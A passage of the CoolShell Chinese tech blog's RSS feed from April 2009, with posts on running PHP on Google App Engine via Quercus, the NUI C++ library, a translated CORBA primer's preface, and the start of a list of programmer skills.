href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些重要的算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_title\">一些重要的算法</a></li><li ><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/sort-150x150.jpg\" alt=\"一个排序算法比较的网站\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_title\">一个排序算法比较的网站</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"可视化的数据结构和算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_title\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/536.html\">一个显示排序过程的Python脚本</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/536.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>28</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何在Google App Engine上运行PHP</title>\n\t\t<link>https://coolshell.cn/articles/531.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/531.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 14 Apr 2009 15:00:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[PHP]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=531</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Google 在一年前发布了Google App Engine (GAE) 。这是一个免费的 App Engine 主机，可以让你的每个Application（...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/531.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/531.html\">如何在Google App Engine上运行PHP</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Google 在一年前发布了<a href=\"http://code.google.com/appengine/\">Google App Engine</a> (GAE) 。这是一个免费的 App Engine 主机，可以让你的每个Application（免费的最多有10个）有1GB的磁盘空间和43.6个CPU小时与10GB的上传和10GB的下载带宽，以及2000个电子邮件。如果你需要地更多，那就是付钱了。</p>\n<p>GAE 最近发布了正式<a href=\"http://googleappengine.blogspot.com/2009/04/seriously-this-time-new-language-on-app.html\" target=\"_blank\">支持Java</a>的通知。于是，互联网上开始有了各种各样的BLOG评论文章，还有一些人居然在Google App Engine 中运行PHP程序，这个太不可思议了。因为GAE目前并不支持PHP。</p>\n<p>其实，他们使用了一个叫做 <a href=\"http://www.caucho.com/resin-3.0/quercus/\">Quercus</a>的东东， Quercus 本质上是一个 100% 的用Java 实现的一个 PHP 引擎 (需要 JDK 1.5)，所以，只要你把Quercus集成到你的GAE中，你自然也可以运行PHP脚本了。</p>\n<p><span id=\"more-531\"></span></p>\n<p>下面是大体步骤：</p>\n<p style=\"padding-left: 30px;\">1) 注删一个 <a href=\"http://appengine.google.com/\">免费的帐号</a>。<br />\n2) 下载<a href=\"http://www.webdigi.co.uk/fun/php-appengine/phpwithjava.zip\">这个文件</a> 到你本机。<br />\n3) 在 war\\WEB-INF\\appengine-web.xml 编辑应用的XML tag，把其名字改成你所注册的名字。<br />\n4) 最后，<a href=\"http://code.google.com/appengine/docs/java/gettingstarted/uploading.html\">上传你的应用</a>。</p>\n<p>更多细节请参看：</p>\n<ul>\n<li><a href=\"http://phpwithjava.appspot.com/webdigi.phphttp://phpwithjava.appspot.com/info.php\">http://phpwithjava.appspot.com/webdigi.php</a></li>\n<li><a href=\"http://phpwithjava.appspot.com/info.php\">http://phpwithjava.appspot.com/info.php</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/531.html\">如何在Google App Engine上运行PHP</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/531.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>NUI一个跨平台的C++库</title>\n\t\t<link>https://coolshell.cn/articles/528.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/528.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 14 Apr 2009 14:35:55 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[GUI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=528</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个免费的GPL许可证的C++库据说可以跨Linux, MacOS, Windows和iPhone，太过份，居然还连iPhone也跨了。 大家可以到下面这个网址...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/528.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/528.html\">NUI一个跨平台的C++库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/home.jpg\"></a>这个免费的GPL许可证的C++库据说可以跨Linux, MacOS, Windows和iPhone，太过份，居然还连iPhone也跨了。</p>\n<p>大家可以到下面这个网址上下载下来试试看，我还没有来得及试。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.libnui.net/\">http://www.libnui.net/</a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/04/home.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-529\" title=\"home\" src=\"https://coolshell.cn/wp-content/uploads/2009/04/home-300x168.jpg\" alt=\"home\" width=\"300\" height=\"168\" /></a></p>\n<p style=\"text-align: center;\"> </p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li><li ><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/04/c99-150x150.jpg\" alt=\"C语言的整型溢出问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11466.html\" class=\"wp_rp_title\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/528.html\">NUI一个跨平台的C++库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/528.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>深入浅出CORBA</title>\n\t\t<link>https://coolshell.cn/articles/514.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/514.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Tue, 14 Apr 2009 12:07:58 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[CORBA]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=514</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这个是一本关于CORBA技术的中文文档，原文是Ciaran McHale《CORBA Explained Simply》，我将其翻译成中文形式，并首发在酷壳之上...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/514.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/514.html\">深入浅出CORBA</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这个是一本关于CORBA技术的中文文档，原文是<span class=\"a\"><span style=\"mso-bidi-font-family: 'Times New Roman';\" lang=\"EN-US\"><a href=\"http://www.ciaranmchale.com/\"><span style=\"font-family: Courier New;\"><span style=\"font-size: small;\">Ciaran McHale</span></span></a></span></span>《CORBA Explained Simply》，我将其翻译成中文形式，并首发在<a href=\"https://coolshell.cn\">酷壳</a>之上，现在先提供一个PDF的文件形式下载，关于html形式的下载或在线阅读形式以后再慢慢整理。CORBA有可能是一门将要过时的技术，但是它的思想却仍然被当今一些流行的分布式架构所借鉴。所以通过学习CORBA，也许我们可以更好的去理解EJB，去理解Web Service，或者SOA……</p>\n<p><span id=\"more-514\"></span></p>\n<blockquote>\n<p class=\"1\" style=\"margin: 17pt 0cm 16.5pt;\"><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\"><strong><span style=\"font-size: x-large;\">译序</span></strong></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">从</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">wiki</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">上找到此书的链接，初读之下，感觉此文讲解的非常清楚，大量丰富的图例说明，于是就有了将此书翻译成中文的冲动。至于书名本应该是《简单地解释</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">CORBA</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">概念》，但是最后还是起了一个比较容易吸引人眼球的标题。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">本书原文行文非常流畅，用词也相当通俗易懂，建议有英文基础的同行直接阅读原文。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">本书第二十三章的内容，涉及到安全的一些概念和术语，翻译也相对比较困难，我虽然给它翻完，但是最后还是不敢发布出来，因为此章需要对安全相关知识要有全面的理解，最后我将此章翻译的内容省略。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">在翻译过程，有一些特殊的名词采用意译的方式，比如</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">IDL</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">的</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">seqence</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">类型，被翻译为可变数组，</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">Servent</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">被翻译服务提供者，而在</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">IOR</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">中的</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">Contact Detail</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">我统一翻译为联系细节等等，请读者在阅读时特别注意。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">由于译者的水平有限，书中难免有翻译错误的地方，译者并不会对因为这错误造成的损失负责。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">本书原版的版权归</span><span class=\"a\"><span style=\"mso-bidi-font-family: 'Times New Roman';\" lang=\"EN-US\"><a href=\"http://www.ciaranmchale.com/\"><span style=\"font-family: Courier New;\">Ciaran McHale</span></a></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">所有，此版中文版版权归译者和</span><span lang=\"EN-US\"><a href=\"https://coolshell.cn/\"><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\" lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"color: #800080;\">酷壳</span></span></span></a></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">网所有，任何公司或个人可以任意自由转载，发布，部分发布，出版，部分出版本书，但必须保留如下的版权信息</span></span></p>\n<p class=\"a0\" style=\"margin: 0cm 0cm 0pt;\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; font-family: Courier New; font-size: small;\">Copyright © 2009 </span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\" lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; font-size: small;\">赵锟</span></span></span></span></p>\n<p class=\"a0\" style=\"margin: 0cm 0cm 0pt;\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; font-family: Courier New; font-size: small;\">Copyright © 2009 </span><a href=\"https://coolshell.cn/\"><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\" lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"background-color: #e6e6e6; color: #800080; font-size: small;\">酷壳</span></span></span></a></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">感谢我的夫人在翻译过程中给我支持，没有她的鼓励，我无法完成此项工作。同时感谢我</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">9</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">个月大的小孩，你那可爱和天真无邪的微笑是我工作的动力。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">感谢</span><span lang=\"EN-US\"><a href=\"https://coolshell.cn/\"><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\" lang=\"EN-US\"><span lang=\"EN-US\"><span style=\"color: #800080;\">酷壳网</span></span></span></a></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">的耗子在翻译过程中对我的指导。非常感谢你的帮助。</span></span></p>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\"><span style=\"font-size: small;\"><span lang=\"EN-US\"><span style=\"mso-tab-count: 1;\"><span style=\"font-family: Courier New;\"> </span></span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">在阅读过程中，你什么意见和建议欢迎发邮件至</span><span lang=\"EN-US\"><span style=\"font-family: Courier New;\">zhaokun.km(a)gmail.com</span> <span style=\"font-family: 楷体_GB2312;\">(</span></span><span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">请将(a)替换成@)<span style=\"font-family: 楷体_GB2312; mso-ascii-font-family: 'Courier New';\">和</span>我进行讨论。</span></span><strong></strong></p>\n</blockquote>\n<p class=\"MsoNormal\" style=\"margin: 0cm 0cm 0pt;\">PDF文件下载：请点击<a href=\"https://coolshell.cn/wp-content/uploads/2009/04/e6b7b1e585a5e6b585e587bacorba.zip\">这里</a>进行下载</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/656.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"Linux 的僵尸(zombie)进程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/656.html\" class=\"wp_rp_title\">Linux 的僵尸(zombie)进程</a></li><li ><a href=\"https://coolshell.cn/articles/2406.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"写HTML和CSS的新方法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2406.html\" class=\"wp_rp_title\">写HTML和CSS的新方法</a></li><li ><a href=\"https://coolshell.cn/articles/1907.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/badui2-300x224-1-150x150.jpg\" alt=\"UI的恶梦\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1907.html\" class=\"wp_rp_title\">UI的恶梦</a></li><li ><a href=\"https://coolshell.cn/articles/5132.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"疯狂的 Web 应用开源项目\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5132.html\" class=\"wp_rp_title\">疯狂的 Web 应用开源项目</a></li><li ><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg\" alt=\"信XML，得自信\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3498.html\" class=\"wp_rp_title\">信XML，得自信</a></li><li ><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" alt=\"如何读懂并写出装逼的函数式代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17524.html\" class=\"wp_rp_title\">如何读懂并写出装逼的函数式代码</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/514.html\">深入浅出CORBA</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/514.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>未来五年程序员需要掌握的10项技能</title>\n\t\t<link>https://coolshell.cn/articles/511.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/511.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 14 Apr 2009 09:26:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=511</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>由于最近经济形势的变化，很多开发人员只关注他们短期的工作前景。与此同时，把时间和精力花在学习最能带来回报的新技术上是件非常重要的事情。这里是我们列举的10种你需...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/511.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/511.html\">未来五年程序员需要掌握的10项技能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>由于最近经济形势的变化，很多开发人员只关注他们短期的工作前景。与此同时，把时间和精力花在学习最能带来回报的新技术上是件非常重要的事情。这里是我们列举的10种你需要马上开始学习的技术，让你的简历在未来5年不会落伍。这个列表并不完全，有很多业界的领域（比如大型机开发人员）没有涉及。尽管如此，对通常的主流开发来说，学习其中至少7项技能肯定不会错 ——不但要达到能在面试时侃侃而谈的程度，还得能在工作中运用自如。</p>\n<p><strong>1) 编程语言三选一 (.NET, Java, PHP)</strong><br 